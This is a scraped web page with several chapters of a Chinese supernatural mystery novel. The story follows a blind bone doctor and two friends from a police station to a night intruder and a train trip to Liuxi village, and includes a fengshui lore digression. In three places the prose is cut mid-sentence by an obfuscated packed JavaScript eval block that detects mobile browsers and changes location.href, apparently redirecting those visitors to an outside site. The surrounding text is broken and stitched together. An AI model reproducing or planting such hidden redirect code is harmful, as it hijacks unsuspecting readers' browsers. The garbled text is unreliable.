姜泠、凌岓和关扬被另外两位警察分别带去做笔录。了解完事发过程后,民警话锋一转,寻问三个人去那儿的目的。 “和男朋友吵架了,生气,去郊区散步。” 这套说辞是凌岓在路上编好的,姜泠原本不愿意接受这套说法,但细想之下,自己也实在说不上来为什么出现在那儿,只好勉强沿用。 “前两天发现前女友送的礼物了,这不是一生气就闹脾气离家出走嘛,我俩就去找她。”凌岓老老实实坐在警察叔叔对面,满脸诚恳。 “汽油和铁锹干什么用的?”民警狐疑着看了凌岓一眼。 “埋礼物,当着她的面把前女友送的东西都烧掉、埋掉,这才答应跟我和好。” 凌岓手心里有些冒汗,要是告诉民警,拿着这些东西是为了埋人骨,那他和关扬怕是跳进黄河都洗不清了。 “行了,走吧。你们是目击证人,这两天尽量不要离开本市,后续有问题会随时联系你们的。” 笔录做完,出勤寻找那个五大三粗作案者的几个警察也回来了。幸运的是,警察到的时候,那男人刚醒,脚还没抬起来,就被警察叔叔一左一右钳回了警局。 加上周盼的证词,三个人很快又在公安局大厅里碰面了。 “姐姐,我能跟你回家吗?” 老警察手头还有别的案件,看见姜泠出来,周盼赶紧扑上去扽住她的袖口,小鹿一样水汪汪的眼睛看着她,眼里全是乞求。 “乖,警察叔叔会送你回家的。”这样的语气对于姜泠而言已经是极尽温柔了,她看不见周盼的眼神,却也知道小姑娘心里是惶恐的。 “我不想回家。”周盼的声音弱了下来,“我没有家。” “是不是跟家里人闹别扭啦?”闻言,凌岓蹲下身轻轻问。 “是啊。”关扬姑且忘了自己那点郁闷,满是关心地看着周盼,“你爸爸妈妈肯定着急死了,你哪能不想回家啊。” “我没有爸爸妈妈。”周盼小声说,“我爸爸妈妈都死了。” “啊?”关扬想狠狠抽自己俩耳光。 “盼盼!盼盼!” 正说着,一对年轻男女从警局门口飞奔进来。男人见到周盼,一把将她拉过来抱进怀里,“你跑哪儿去了,急死叔叔了!” “是周盼的叔叔婶婶吗?”听见动静,老警察放下手头的工作,探出一个头来。 “是是是。”男人鸡啄米似的点着头,又一个箭步冲上去握住老警察的手,“谢谢您,谢谢您!这孩子太不让人省心了,一天到晚乱跑,给您添麻烦了。” 凌岓皱起眉,对男人没什么好感——正常家长总要先关心关心自己家孩子有没有受伤、情况好不好才对,哪像眼前这位,上来先一个劲儿怪罪孩子。 “啊…不麻烦,这是我们应该做的。”老警察也一愣,旋即抽出手,“你们先别走,嫌疑人目前已经被我们控制住了,等到一会儿笔录做完,跟你们讲下情况再走。” “嫌疑人?什么嫌疑人?”男人问。 “打电话的时候不是跟你说了吗?就是想要侵犯你侄女的那个人,现在已经被我们控制住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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今晚的姜泠更像是电视剧里那些训练有素的杀手——高马尾利落地被发圈绑着、白衬衫的袖子是挽起来的、工装裤裤脚上的口袋里似乎装着什么东西、脚上蹬着的亮面黑靴和凌岓去巴那的那身行头有的一拼。 “去他家。”姜泠侧向车窗,露出流畅又漂亮的下颌线。 “谁,谁家?”关扬指了指自己,反应过来,“您哪位?” “你不是被人骨缠上了吗?”姜泠并不看关扬,只是话一出口,关扬就沉默了。 “你告诉她的?”关扬看着凌岓。 “我没有,不是我。我今天才和她见着,我们连电话都没有。”凌岓摇头否认。 “不用别人告诉我,你身上有死人的味道,好辨别。”说话的人嘴角扬起一抹好看的弧度,听话的人却呼吸一滞。 “你,你你你…”关扬结巴了好半天,他本来想说“你才死人味道,你全家都有死人味道”,但话到嘴边,说出来的却是,“您知道怎么回事吗?” “嗯。”后排的人也不多说,转向关扬点了点头。 到家已经快凌晨两点了,凌岓站在门口看了半天不进去。 “怎么了?怎么不进去?”关扬问。 “没有,我看你这地毯该洗了。”凌岓微微一笑,转而问道,“你家的密码还有谁知道?” “就我和我爸妈,没别人了。”关扬打开灯,看了看门口的地毯——上面的确积了不少灰。 “怎么问这个?”两杯热水跟着被问题的主人放在桌子上。 “看你家宽敞,本来打算问你要个密码,闲下来就过来蹭吃蹭住。”凌岓又看了眼门口,“真没别人知道密码了?” “那你直接要呗,咱俩谁跟谁啊。”关扬被凌岓问得一头雾水,却突然想起什么,“不过你这么一问,我倒想起来了。贺一川好像也知道密码,之前她给我送过东西,我不在家,就把密码告诉她了。” “挺好的。”凌岓把杯子里的水一饮而尽,“不早了,洗洗睡吧。” 姜泠睡觉向来轻,一点动静就能让她迅速醒来。 “咔哒”一声传来,她迅速翻身下床,贴近门后——关扬家的大门被人打开了,有人正朝这个房间走过来。 13. 第十三章 贺一川 三步、两步、一步…姜泠计算着来人和房间的距离,在那人搭上门把手的瞬间,轻轻向后退了退,准备动手。 门没被打开,姜泠听见门外传来打斗声,她打开门,听见凌岓的声音:“让我看看您是哪路神仙?” “一川?” 打开灯,屋内一片敞亮。关扬看清楚来人的面孔,被吓得够呛。 “贺一川?”凌岓仔细打量着眼前裹得严严实实的人,仅能从对方的头发长度和身形判断出性别,“贺一川,是个女的?” “一川,这几个月你去哪儿了?你大晚上的跑我家干什么?你怎么进来的?” 关扬倒豆子一样扔出一连串问题,贺一川抬头看了他一眼,一句话也不说又将头低下。 “贺小姐大半夜来,还带了礼物啊。” 趁贺一川不注意,凌岓一把捞过她脚下的大袋子。打开一看,里面正是那个昨天晚上已经被烧成灰烬、埋在泥下的盒子。 “你?”关扬手都在发抖,说不出来是气的还是吓的,“原来这一切都是你干的!” “不是,不是我!”贺一川终于开口说话了,她戴着一顶渔夫帽和一只口罩。 帽檐遮住了她的眼睛、口罩遮住了她的下半张脸,让人看不清楚她此刻的表情。 “我也是被逼的,我是被别人威胁的。”贺一川说着,摘下了帽子。 七月还没过去,即便是在夜晚,热浪仍旧会从纱窗里席卷进来。不开空调的时候,人在屋子里稍坐一会儿就开始冒汗。 开灯看到贺一川的时候凌岓就觉得奇怪——在这么热的天气里,她穿着厚厚的长袖长裤,大晚上戴着帽子不说,还捂着一个巨大无比的灰口罩。 等到她摘下帽子,凌岓这才明白原因。 贺一川的左半边脸有一道狰狞的长疤,疤痕像一条毒蛇,从面部爬到她的颈后。 凌岓看着这些可怖的疤痕,下意识侧头看了看电视柜上关扬那张合照,哑然。 看着关扬和凌岓震惊的神情,她又撸起袖子和裤腿——一双胳膊和腿上也有这样的疤痕。 胳膊上的疤已经变成了难看的深色,腿上的疤倒还泛着浅粉,像是伤口刚刚愈合不久。 “这是怎么了?”关扬蹭地站起来,也顾不得什么盒子不盒子,“谁干的,这谁干的!” “说来话长。”贺一川把衣服重新放下去,一双眼睛可怜巴巴地看着关扬,言辞恳切,“但你遇到的事真的不是我干的。” “我们还没说什么事儿呢。”凌岓固然心怀怜悯,但对她言语间漏洞的捕捉并未因此停止。 女人一愣,很快恢复镇定。 “有人都告诉我了,我知道你这几个月老是收到一盒骨头。”贺一川知道凌岓不是好说话的人,便盯着关扬一人解释。 按照贺一川的说法,在关扬收到快递的那天下午,曾有人给她发了一封匿名邮件。 邮件的内容是一起有关工伤认定的事件,发邮件的人说这会是一个新的舆论爆点,邀请她到邻市面谈。 那人古怪得很,约的时间是在半夜,还要求贺一川穿好长袖长裤见面。 碰上这样奇怪的见面条件,她本来不打算赴约的。可那人又接连发了几个独家材料,贺一川这才在当天晚上决定前往邻市一探究竟。 赴约的地点在邻市一个废弃港口,港口上全是经年不用的集装箱。贺一川到达港口,找到发件人指定编号的集装箱,钻了进去,里面一个人都没有。 集装箱里的拉线灯突然熄灭了,还不等里面的人反应过来,唯一的进出口便被人堵得严严实实。 接着,噼里啪啦的声音在耳边响起,集装箱里的温度不断升高,任凭贺一川怎么喊叫也无人应答。 “等我醒过来的时候,不在医院里,而是在一个废旧的工厂里躺着。”说着,两行眼泪从女人的眼眶里落下,可怜极了。 “我不知道他到底是谁,他每天戴着面具给我送饭送药,也不说话,只用纸条和我交流。” “他还接了一个投影,让我看关哥这边发生的一切。” “我看见关哥总是收到一盒子骨头,也看见关哥去报警。” “昨天晚上,关哥和你又把那盒骨头埋了。那个人就让我再送一盒过来。”贺一川楚楚可怜地勾住关扬的手,“之前的那些骨头不是我放的,你相信我。” “那还等什么,我们赶紧去报警啊。” 看见贺一川现在这副样子,关扬心疼得紧。再想到自己被一个变态监控了大半年,他更是气不打一处来,当下便决定报警把这人揪出来。 “不行,不能报警。”女人连忙摇头拒绝,“我姐姐也在他手里,报了警,我姐姐就,就不一定能活了。” “你姐姐?”关扬一愣。 “你不是孤儿吗?”凌岓看着女人,目光犀利。 “是,我之前也以为我是孤儿的。”贺一川抽泣着解释,“去年从黔西南回来,我才知道我还有一个姐姐,她在小的时候走丢了。我爸妈提起这事儿就伤心,所以一直到他们出了意外去世,都没告诉我。” “回来以后,我是无意间碰到她的。再后来我们做了亲子鉴定,确定我们就是亲姐妹。可我没想到她也会被那个人控制住。” “关哥,你记得吗?回来那几个月我老是请假,我说我家里有点事儿,就是因为这个!”贺一川看见凌岓眼里的不信任,又转向关扬。 “这是赤裸裸的绑架,更要报警了!”关扬倒是不怀疑贺一川的说辞,但始终坚持报警。 “不行,不行!”贺一川紧张地看向墙壁上的挂钟,“报了警就来不及了,他让我放下东西就回去。最迟八点要在车站见到我,我不能报警,他看不到我,我姐姐就没命了!” “我好不容易才有这么一个亲人,我不能,不能……”话到激动处,贺一川索性捂着眼睛大哭起来。 “那也好办。”凌岓看了一眼时间,六点半,“你先去车站,我们报警,然后在后面跟着你。只要他露面,总能把他抓住。” “别报警,求你们了。”女人的一双眼睛哭得通红,“那个人很厉害!这么久了,我想过那么多办法都没能逃出来。每次求救被他发现,我姐姐就会受伤,如果报警被他发现了,我姐姐就完了!” “那你说怎么办?”凌岓盯着贺一川的双眼,语气不咸不淡。 “要不然,就先你们跟着我。你们只要能跟到那个工厂,再报警也来得及。只要在安城不让他发现有警察就行了。”对上凌岓鹰一眼的目光,贺一川也不怵。 “行。”沉默许久的姜泠突然开口,“现在去公安局说你这些事情也来不及,就按你说的办吧。” “你也这么想?”凌岓看了看姜泠,又看了看不说话的关扬,心下了然。 “老凌,来一下来一下。” 关扬好一阵纠结,最后决定把凌岓拉进屋子,关上门说话,“我也不瞒你了。一川就是我跟你说的那个打算确定关系的对象。” “猜到了。” “怎么?” “电视柜上有照片。” 这下关扬不说话了,他从床头抽屉里摸出一支烟默默点上,又递给凌岓一支。 “戒了。”凌岓摆摆手拒绝,看着烟头一明一暗的火星,“你也同意贺一川的办法?” “一川是个特别好的姑娘。”关扬猛猛吸了一口烟。 “这不妨碍她今晚说的话漏洞百出。”凌岓抱着双臂看向发小。 “她不仅特别好,还特别不容易。”又是答非所问的一句话。 “反正那个姜姑娘也很厉害,我们三对一,也不会吃什么太大的亏对吧?”关扬这句话听起来是问句,实际上已经给出了答案。 “明白了。” 对于重情重义这个品质,凌岓向来是推崇的。但他从不认为重情重义和看到坑还往里跳可以等同。 至少在现在这个瞬间,他有点想把关扬的脑袋晃一晃,听听里面有没有没控干的水。 “商量好了?”听见凌、关二人出来,姜泠放下手中的相框。 “嗯,就按你说的办。”凌岓深呼吸,贺一川投来感激的目光。 安城的早高峰从七点多就开始了,高架上挤满各色车辆,鸣笛声不绝于耳。 “还有半小时,赶得到吗?”加塞、绕行,凌岓对于这种堵车场景已经见怪不怪了。 “没问题,车站离这儿也不远了。”关扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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关扬掏出手机,划到紧急求助的页面,眼看就要点到“110”那一栏了,凌岓一把将他的头按了下去。 “干啥呀?”猝不及防被这么一按,关扬的手机掉到了座椅缝隙里。 “车开走了。”凌岓看了一眼倒车镜,还能看见逆行小白车的尾灯。 “开走了?”关扬着急扭头看,“那现在怎么…” 话没说完,贺一川跑过来敲了敲车窗。 “他留了…留了纸条给我。” “七月二十九日,二十三点半,贺希在六溪村桥头。” 纸条上的字迹实在难看,歪歪扭扭的笔画像趴在纸上的虫子,关扬看了好半天才辩认出来。 “六溪村在哪?你们刚不是见面了,还留个字条的意义是?”凌岓把手搭在窗边,看向贺一川。 “刚刚那开车的人不是他,司机是被雇来的,只负责把我送到这儿。”贺一川咬着唇,“六溪村,关哥知道。” “见鬼了。”关扬捶了一把方向盘,“我跟你说小孩的骨头就是在那鬼地方的河里。” “七月二十九,农历七月十五。”姜泠脸上意味不明的笑看得关扬发怵。 “鬼节就要去埋骨的河沟里过,是吗?”这句话是完完全全说给贺一川听的。 “贺西是我姐姐,就算是刀山火海,我也要去。”贺一川不知道姜泠是盲人,她直视着这个似乎洞悉一切的人,语气坚定。 “我跟你一起去。”想起那具河里的遗骸,关扬赶紧补上一句,“解铃还须系铃人,回到那个地方说不定能找到解决问题的好办法。” “你说呢老凌?”关扬使劲儿捣了捣身边不吭声的男人,征求对方的意见。 “后天就是七月二十九号,明天早上准备准备,买下午的票走,后天早上到。” 凌岓有些无奈,他本可以不淌这趟浑水的。 但一方面,关扬毕竟是他的发小,交情深。最近碰上这些倒霉事儿足以看出他时运不济,让他一个人跟着贺一川去,凌岓多少有点不放心。 另一方面是因为姜泠,说不上来为什么,对于这个奇奇怪怪的姜医生,凌岓有些好奇。他似乎希望能和她多接触一些,了解她更多一点。 “那你还报不报警了?”做好决定,等关扬把手机从座椅缝里捏出来后,凌岓幽幽开口。 “报!”关扬斩钉截铁,“等到了那儿搞清楚状况之后,咱必须立刻马上报警!” 14. 第十四章 五壁六溪 从废弃钢厂到清州市区的途中,之胖打电话来询问近况。得知凌岓在清州,之胖当即喊了声巧—— “我最近刚好带一对老教授来清州寻访古迹,要不咱晚上见一面?” 凌岓想了想还没置办的东西,答应下来。 老教授夫妇去朋友家做客,之胖因此闲下来。刚过下午四点,他就按照凌岓给的地址找上门了,看见姜泠,他有些意外。 “你什么时候又和姜大夫到一块儿去了。” “意外碰见。”凌岓答。 “意外?”之胖偷偷瞄了一眼坐在一旁正闭目养神的姑娘——她又换上了宽松的素色衣裙,和在巴那初见时一模一样。 “鬼才信。” “真的。”凌岓也顺着之胖的目光看向姜泠,随后将他从安城到清州遇到的事情如实告诉之胖。 “老天爷,你这朋友指定是中邪了。”之胖听完,不住地咂嘴称奇,又提出建议,“诶,我觉得你可以问问老洪怎么个事儿,他说不定真知道什么。” “老洪?哪个老洪?”凌岓在大脑里搜寻了一遍社交圈里姓洪的,反应过来,“你说洪钟?” “对,就是他。” “我记得你上次说再也不信他的鬼话了,一个字都不信的那种。怎么几天不见,都叫上老洪了?” 细细算起来,和之胖等人分别也没几天。见他现在和在骨洞外对洪钟截然不同的态度,凌岓的好奇心又被勾了上来。 “他确实是帮了我点儿忙。”之胖挠了挠自己的胖脑袋,把袖子撸起来给凌岓看——他的上臂处有一块浅青色的斑。 “上次不是被那个骷髅架子抓伤了嘛,回去之后总感觉这地方发痒。问了医生都说没事儿,就干脆问了问老洪,死马当活马医算了。” “他怎么说?要不要紧?”凌岓端坐起来看着胖男人,满是关切。 “说了一堆我也没记住,反正最后要了我的地址。这两天给我寄了药过来,你别说,吃了几次确实是好多了,至少不会再抓心挠肝的痒了。” “行,没事儿就行。”凌岓松了口气,心里对洪钟有些刮目相看。 “要我说,你不如让你那个朋友去问问老洪,他知道的真的挺多的。” “嗯,我回头问问吧。”凌岓话锋一转,“你在清州认识的人多,能不能帮我搞点东西?” “这有什么能不能的,咱俩谁跟谁啊。” 二人嘀嘀咕咕说起明天出发要置办的东西,全然没有发觉姜泠已经睁开眼,神色冰冷地面向之胖。 正值暑假,清州条件稍好一些的酒店早就爆满了。临时订的这家宾馆外表看上去还行,却不想一到晚上,除了嗡嗡叫不停的花蚊子,还有在房里四处乱窜的暗红色大蟑螂。 凌岓叹了口气,干脆打开灯不睡了。他无聊地翻了翻手机,突然想起姜泠:能如此巧合地碰到一起,再第二次一同出行的情况确实少见。 他隐约能猜到她是骨医,可除了名字,有关她的其他信息,他一概不知。 “女孩子应该都怕虫子吧。” 一只蟑螂从拖鞋上大摇大摆地爬过,凌岓当即决定问前台再要一瓶电蚊香液和花露水——管它有没有用,反正先给姜泠送过去拉近一下关系再说。 宾馆的电梯坏了,好在凌岓住在三楼,也不算高。他正在心里暗暗给这家宾馆一万个差评,却在二楼楼梯拐角处听见前台值班经理的声音: “您回来啦。”值班经理是个年龄不大的小个子姑娘,声音甜美,“我们的电梯出现了一些故障,得麻烦您从楼梯上去。为此给您造成的不便,我们感到十分抱歉…” 凌岓没心情听后面还说了什么,他怔怔看着从前台走近楼梯的人——高马尾、亮面黑靴,这不是姜泠还能是谁? 这么晚她去干什么了?说是盲人,可每次见到她,她的行动、表现都和正常人无异,她是不是真的看不见? ……疑问一大堆,等姜泠上了楼快要经过凌岓身边的时候,他还是鬼使神差地屏息贴墙,没有发出一点动静。 次日一大早,凌岓要的东西就被送到了宾馆前台。登上火车的前一秒,关扬还在感慨之胖如何如何靠谱。 从清州到六溪村所属的地级市没有直达的高铁,只有卧铺,一行四人便索性都买软卧,刚巧分到同一间里。 上车后,关扬时不时关心一下贺一川;姜泠则是背着身子躺在上铺一动不动。 想起昨晚的事情,凌岓翻来覆去无法平静。再想到之胖的话,他决定和洪钟聊一聊。 “哟嚯,小凌同学,稀客呀稀客!怎么想起给我打电话了?”从声音上听,洪钟最近应该过得很不错。 “问问您好不好。”话一出口,凌岓就觉得尴尬,下一句便直截了当点明主旨,“当然,更重要的是,老之推荐我过来找您解惑。” “解惑?”洪钟嘿嘿笑起来,“你想知道什么?想知道姜大夫的事情?还是想知道我大侄子胳膊上那块青斑的事情?” 电话这头的人闻言一顿——洪钟问的,正是他想知道的。 “你那边什么声音?” 列车驶过铁轨,发出轰隆轰隆的响动。 还不等凌岓开口,洪钟又问,“小凌同学这是去哪儿了,是坐上那火车去拉萨吗?” “一个朋友出了点事儿,我来帮个忙。”这个问题很好回答,凌岓不假思索开口,“现在和他们一起去六溪村。” “哪儿?”电话那头的人突然叫起来,“你刚说去哪儿?六溪村?” “对啊,六溪村。”凌岓摸不着头脑,不知道洪钟为什么这么激动。 “是一二三四五六的六,溪水的溪那个六溪村?” “对。” “是那个在黔西南兴州和化州交界的六溪村?” “对。你…”回答的人被问得一头雾水,刚想要说些什么,洪钟就把他打断了—— “你小子真会挑地方啊!” “怎么,这是你老家?”凌岓实在忍不住了,打断洪钟的碎碎念,“去个小村子而已,你要不要这么激动。” “什么叫小村子?!”如果洪钟此刻就站在对面,那么凌岓将有幸看到对方翻出的一个史诗级白眼。 “那可是五壁六溪的六溪啊!” 电话那头传来呼啦呼啦的声音,凌岓不解:“五壁六溪是什么?” “这你都不知道?”洪钟自问自答,“也难怪,这知识太冷门了,你们不知道才正常。” “找到了找到了,就是这儿。” 呼啦声停住,凌岓这才听出来:那是洪钟翻书的声音。 “你听好了啊,接下来我要告诉你的,可是我洪门独家第一手资料。”洪钟清了清嗓子,开始讲述六溪村的渊源。 “五壁六溪,其中的五壁并非指五面墙壁,而是指屹立于黔西南、与五行相对应的五座高山;六溪也并非真的是六条小溪,而是说交汇此处的六条龙脉。” “古书有载‘龙者何?山之脉也。土乃龙之肉,石乃龙之骨,草乃龙之毛’。”[1] “按照这种说法,龙脉所在处的群山自有根源始终,主打一个‘千尺为势,百尺为形’。” “从外形上看,群峰要连绵不断,如矫龙腾飞;山峦之间藏风聚气,还有活水环抱四周。从内里来讲,每座山的里面都有生气贯通,这也是传说中龙脉能够滋养一方水土的关键所在。” “在风水学里,一般都说咱们有五条大龙脉,三阳二阴。三大阳脉为山,两大阴脉为水。” “山阳水阴,两条阴脉正是咱自古以来的两大母亲河,长江和黄河。” “而在这三大阳脉之中,昆仑山是万山之祖,也是五脉发端,所以我们说昆仑山是祖龙之脉;中龙是震龙之脉,西起昆仑,向东延经秦岭一带,最后转至江浙入海;你们现在要去的六溪在第三条巽龙,也就是南龙龙脉上。” “此龙脉西起昆仑,向南横亘滇黔一带,在福建入海,台湾的玉山山脉就是传说中的南龙抬头处。这一条的水脉除了长江,还有一条珠江。” “相传,南龙一脉只富不贵。所谓‘山管人丁水管财’,珠江流域水龙极旺,因此多财富;而山龙向上为海,无实地则难以统天下。因此,从这一块儿出来能成就一番大业的霸主寥寥无几,在古代,最多也就发展成藩王之类的割据势力。” “这和六溪村有什么关系?”凌岓听了半天,除了知道六溪村在这条南龙龙脉上,并未发现其他关联。 “莫急莫急,听我慢慢道来。”洪钟吞下一口热水,继续说。 “我刚说的这个,只是一部分人的观点。另有一部分人认为,南龙只富不贵的原因在于第三只龙眼吸走了此脉中的一部分精气。” “第三只龙眼?” “正是。”洪钟合上书,唾沫星子横飞,“据说在黔西南一带有五座高山,分别坐向东西南北中,对应五行中的木金火水土。” “而在这五山正中,正是六条小龙脉交汇的地方。当然啦,所谓的六条小龙脉其实是六条珠江支流的支流。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575805|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “五山为眶,支流汇集成瞳,这就在黔西南形成了南龙的第三只龙眼。” “道家说,‘福之祸兮所倚,祸之福兮所伏’[2]。这只本不该出现的第三只龙眼就是如此,既是福,也是祸。” “在此周围的部族村落,上百年无有战乱灾祸——什么地震泥石流山洪都是绕道走的。同时,龙眼四周土地肥沃,山水林木、金属矿洞资源更是无穷无尽。活脱一个1:1复刻的黔西南桃花源。” “那祸是什么?”凌岓追问。 “祸嘛,众说纷纭。最多的一种说法是,这只龙眼是地上天眼,顺应天意监视人间的一举一动。” “如有悖逆天道,十恶不赦之人,死后都是要在这里接受天刑的。据说这一带总有些难以解释的现象发生,就是这个原因。这里不仅是龙眼,不仅是资源丰富的宝库,还是屠戮恶鬼的刑场。” “这算什么祸。“听完,这头的人只差没拍手称绝了,“这不就是真正的天降正义嘛。如果只是经常有阿飘出没,那也还够不上祸的标准吧。” “因为他漏说了一点。”来人不知什么时候出现在凌岓身后,“之所以说这里是祸,关键不在于恶鬼,而在于这里能将良善者的恶意放到最大,然后屠戮满怀恶意的生魂。” “抱歉,不是有意听你电话的,我出来接水,你声音开太大了。”说完,姜泠又向面前的人微微欠了欠身以示歉意。 “可这样说的话,附近千百年来的居民,岂不是早该被?”凌岓想了想,对这个解释不大相信。 “因为从没有人真正进入过龙眼。那些部族村落只是分布在龙眼周边而已。”回答他的声音平静、冰冷。 “没错,还有一种说法说,龙眼周围的部落都是为守护龙眼而存在的。这个六溪村就是其中实力最强的一个,也是唯一一个繁衍至今还存在的村落。”洪钟补充道。 “何况,你怎么知道这周围的人没有受到影响呢?”姜泠接上洪钟的话,向面对着的男人浅浅一笑。 凌岓对上姜泠眼睛的一刹那,遍体生寒——她那双看不见任何事物的眸子像两个深不见底的黑洞,会把同她对视的人的目光牢牢吸住,但也同时看得人发冷。 “姜大夫好久不见啊。”洪钟倒是热情打招呼,“小姜大夫最近怎么样,还不错吧?” “挺好的,多谢关心。”姜泠简单回答了一句,然后转身回到了软卧间,凌岓这才回过神来。 “小凌同学,你不厚道。” “我怎么了?”凌岓还在想姜泠说的那些话,又觉得她和洪钟似乎挺熟的样子。 “你跟小姜大夫在一起也不跟我说一声,搞得我好像很没文化一样。”洪钟佯装埋怨,实际上是想听到些八卦。 “我们是意外碰到的,我也不知道她会听到你说的那些话。”电话这头的人耐心解释——火车上有点吵,耳机又忘了充电。凌岓靠近车门才开的免提,却没想到还是被姜泠听去了。 “你们发展到什么地步了?” “什么什么地步?”凌岓反应过来,无语极了,“我都说了这次是意外碰到的,我们统共才见了没几次,发展什么发展…” “好了,别不承认。”洪钟唱完反调,又换了一副神秘兮兮的语气,“老弟,你知不知道小姜大夫就是韩先生之前要找的骨医?” “猜到了。”凌岓见怪不怪。 “你小子还挺聪明。”洪钟随口一夸,继续道,“骨医这个行当流传到现在都快要消失了。就剩下小姜大夫这么一根独苗,你趁早还是别打人家主意。” “什么意思?”凌岓本身也没对姜泠打什么歪主意,只是话赶话到这儿了,顺口接上一句。 “我听说,小姜大夫是第九十九代骨医,偏偏保下这根独苗的代价是没有心。” “嗯,她看着是挺没心没肺。”想起姜泠万面如冰的面色,凌岓点点头表示赞同。 “我可没跟你开玩笑。小姜大夫那是真的没有心,物理意义上的那种!”洪钟在电话那头絮絮叨叨,“你想啊,没有心是什么概念?那不就相当于不是活人吗?你要是打主意打到她身上,那岂不是等于…” “她是真的没有心,物理意义上的那种”。 这句话在凌岓耳边炸起一道惊雷,他的耳朵嗡嗡直响,洪钟后面说了什么一句都没听进去。 对面“喂”了半天无人应答,便把电话挂断了。 许久,凌岓还盯着姜泠方才经过的走廊发愣:难道这两天和自己朝夕相处的这个姑娘真的不是人? 15. 第十五章 一夜浅眠。再睁眼时,大地已经披上了一层火红的霞光,连带着车里四个各怀心事的人面上也被染了一片天然胭脂。 “兴州到了啊。”乘务员一把拉开软卧间的门,瞥了一眼收拾好东西的四个人,点点头,“马上到兴州了,别忘了带好行李和随身物品。” “兴州有什么好吃的吗?”到了目的地,关扬的心反而定了下来,他摸一摸自己咕噜咕噜叫的肚子,开始搜索美食攻略。 车站门口的小店不少,各个升腾着白蒙蒙的水汽。关扬扫视一圈,径直走向一家苍蝇小馆。 小馆虽小,人却不少。统共八张桌子,七张都坐满了人。还剩一张只坐了一位食客,见到四人进店,还特意往墙边挪了挪。 店墙上贴着几张红纸,上头牛头大的字印着:本店招牌:秘制羊肉粉、红烧牛肉粉、安龙剪粉! 大字下面还有一行不大不小的黄字:本店已有三百年历史,食材采用正宗黑山羊肉!祖传秘制酸萝卜丁!正宗粉,家乡味! “老板,来四碗秘制羊肉粉!”柜台没人,凌岓就冲着取餐的窗口喊了一嗓子。 听见后厨的人应声回了句“好勒!”,他便扫码付了钱。 “嘶,忘了问你们有没有什么忌口或者不吃的。”拿完筷子,凌岓才一拍脑袋想起来这一茬儿。 “你还不知道我,我从不挑食。”香气从窗口飘出来,关扬咽了咽口水,眼神飘到了后厨。 “没有。”听到两位女士异口同声的回答,点餐的人这才松了口气。 店老板是个盘着发的中年女人,一张圆脸看起来热情又精干。她一手端着一个餐盘,每个餐盘里都放着一只海碗和三个小碟子。 海碗最上面,一半是码得整整齐齐的羊肉片,另一半是红粉的酸萝卜丁和绿油油的葱花。三个小碟子里则装着两碟小菜和一碗辣椒蘸料。 “快尝尝,味道咋样。”女老板笑眯眯地看着新来的客人,还不忘给这一桌添上一盒餐巾纸。 “就是这个味儿,就是这个味儿!”关扬沿着碗边先吸了一口汤,赞不绝口。 凌岓紧跟着嗦了一筷子粉,又夹起一片羊肉,就着葱花和酸萝卜咽下肚,昨晚残留下来的困倦立时便被抛到了九霄云外—— 辣椒酱香极了,没有半点剌嗓子的刺痛感;饱蘸鲜醇汤汁的雪白米粉入口便能滑进胃里;羊肉熟而不烂,肥而不膻,再配上鲜香酸甜的萝卜丁和爽口的葱花,这简直就是绝无仅有的美味。 “老板好手艺!”饶是吃过许多美食的凌岓,此刻也由衷夸出这句话来,“果然是高手在民间,苍蝇馆子里出学问呐!” “太过奖了!”老板娘被人这么一夸,咯咯笑起来,“赶早不如赶巧,今天只卖一百碗粉,你们刚巧赶上第九十八碗。” “嗬,这么好的生意,怎么只卖一百碗?”闻言,关扬抬起头来,多年写文章跑新闻的职业敏感让他立刻察觉到了新的素材。 “今天是大日子啊,得赶着回家‘烧包’呢!”老板娘起先被问得一愣,随后又继续笑起来,“不过你们是外地来的游客,不讲究这些,只管吃好喝好就是了!” “大日子?什么大日子?”这下,连着几天都寡言少语的贺一川也被勾起了兴趣,低着头问。 “七月十五,中元节。”姜泠吃得斯文,面前的粉还剩许多。 “嗯,这姑娘一看就没忘传统节日!”女老板多看了姜泠几眼,对眼前这个漂亮姑娘心生好感。 “中元节我知道,可这‘烧包’是什么?是特有的习俗吗?”凌岓饶有兴趣地追问。 “算是吧,就是我们祖祖辈辈流传下来的习惯嘛。”店里还没进新的客人,女老板索性拉过一张圆凳坐下。 “说白了就是烧纸钱。准备一个纸包,屋里头的老人写上祖宗的名字和埋的地方,小孩子折些金银元宝,再和纸钱一起放进去。过了晚饭,全家人一起去烧,这就是‘烧包’。” “这听起来也不难啊。”关扬听下来没觉得有什么特别之处,疑惑道,“您这儿生意这么好,犯不上为了烧点纸钱少赚那么多真钱。” “我家里离这儿远得勒。”老板也不嫌烦,圆脸上还是挂着笑,耐心回答,“我家里还在六溪呢,要是中午之前不回去,就赶不及啦!” “六溪?”闻言,凌岓心下一动,面上却毫无波澜,“您是六溪村的人?” “你们还知道六溪村?”老板颇为惊讶,“我不是六溪村的,我是隔壁红杨村的。我们两个村子合起来,都算在六溪镇。” “原来如此。”男人和对面的发小对视一眼,轻轻点了点头。 “老板,两碗红烧牛肉粉!” 店里涌进来几个新客人,女老板说了句“慢慢吃”,便又忙着去招待客人。 上午十点四十,小馆里的客人都走得七七八八了。 女老板抹完最后一张桌子,看着稳坐在一旁的四人问,“你们咋还不走呢?有啥需要我帮忙的吗?” 